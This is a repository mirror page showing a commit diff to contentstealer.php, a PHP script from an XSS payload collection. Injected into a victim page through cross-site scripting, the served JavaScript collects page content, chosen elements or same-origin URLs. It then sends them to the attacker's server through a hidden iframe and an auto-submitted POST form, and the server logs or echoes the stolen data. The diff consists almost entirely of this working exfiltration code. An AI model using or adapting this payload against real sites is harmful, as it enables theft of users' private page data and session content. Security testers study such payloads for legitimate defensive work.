Mirrors/xss_payloads
2
0
Fork 0
mirror of https://github.com/nettitude/xss_payloads.git synced 2024-09-20 06:21:58 +00:00
Code Issues Projects Releases Packages Wiki Activity

Re-wrote contentstealer.php to use POST and async XHRs

Browse source
This commit is contained in:
strawp 2016-08-31 11:13:19 +01:00
parent 2d31072193
commit 9274c0f670
1 changed files with 70 additions and 24 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

90
contentstealer.php
View file

@ -1,33 +1,79 @@
<?php
/*
Host on a server under your control in order to include as a javascript and have either the current page or a page of your choosing sent back via a GET
Host on a server under your control in order to include as a javascript and have either the current page or a page of your choosing sent back via a POST
URL arguments to script:
- (Default) tag = element tag name to grab from current page. Default = "body"
- id = id of element to be grabbed from injected page
- url = url of page to retrieve (within the same origin as the page this script is injected into)
*/
header( "Content-type: text/javascript" );
$url = "http://".$_SERVER["SERVER_ADDR"].$_SERVER["PHP_SELF"];
echo "// $url\n";
if( !isset( $_GET["c"] ) ){
echo "/*\n Inject with:\n ".$url."?id=userDiv or ".$url."?tag=ul\n";
echo " Where:\n"
." id is the id of an element to be grabbed\n"
." tag is the name of all tags to be grabbed.\n"
." url is a URL within the same origin to download and return\n"
."Defaults to tag=body\n*/\n\n";
if( !isset( $_POST["c"] ) ){
echo " function xssgetcontent(){\n";
// Get a URL
if( !empty( $_GET["url"] ) ){
echo "function g(u){ x=new XMLHttpRequest(); x.open('GET',u,false); x.send(null); return x.responseText; }\n"
."var content = g('".$_GET["url"]."');\n";
?>
x=new XMLHttpRequest();
x.onreadystatechange = function(){
if( this.readyState == this.DONE ){
xsssendcontent(this.responseText);
}
}
x.open('GET','<?php echo $_GET["url"]; ?>' );
x.send(null)
<?php
// Get an element by its id
}elseif( !empty( $_GET["id"] ) ){
echo "var content = document.getElementById('".$_GET["id"]."').outerHTML;\n";
?>
xsssendcontent(document.getElementById('<?php echo $_GET["id"]; ?>').outerHTML);
<?php
// Get elements by tag
}else{
if( empty( $_GET["tag"] ) ) $_GET["tag"] = "body";
echo "var content = '';\n";
echo "var col = document.getElementsByTagName('".$_GET["tag"]."');\n";
echo "for( var i=0; i<col.length; i++ ){ content += col[i].outerHTML + '\\n'; }\n";
?>
var content = '';
var col = document.getElementsByTagName('<?php echo $_GET["tag"]; ?>');
for( var i=0; i<col.length; i++ ){
content += col[i].outerHTML + "\n\n";
}
xsssendcontent(content);
<?php } ?>
}
function xsssendcontent(content){
document.getElementById('xss_content').value = content;
document.getElementById('form_xss').submit();
}
if( !document.getElementById('frame_xss') ){
frame = document.createElement('iframe');
frame.style='visibility: hidden;';
frame.name='frame_xss';
form = document.createElement('form');
form.action = '<?php echo $url; ?>'
form.target = 'frame_xss';
form.method='POST';
form.id = 'form_xss';
e = document.createElement('input');
e.type = 'hidden';
e.name = 'c';
e.id = 'xss_content';
form.appendChild(e);
document.getElementsByTagName('body')[0].appendChild(frame);
document.getElementsByTagName('body')[0].appendChild(form);
}
xssgetcontent();
<?php
}else{
// Reflect back the content that was stolen. Equally you could dump it to file / database at this point
echo $_POST["c"];
// Example basic logging to a file
// file_put_contents( 'contentstealer.log', $_POST["c"]."\n\n", FILE_APPEND );
}
?>
var url = "<?php echo $url; ?>?c=" + encodeURIComponent(btoa(content));
f = document.createElement('iframe');
f.src = url;
document.getElementsByTagName('body')[0].appendChild(f);
<?php }else{
echo "/*\n".base64_decode( $_GET["c"] )."\n*/\n";
}?>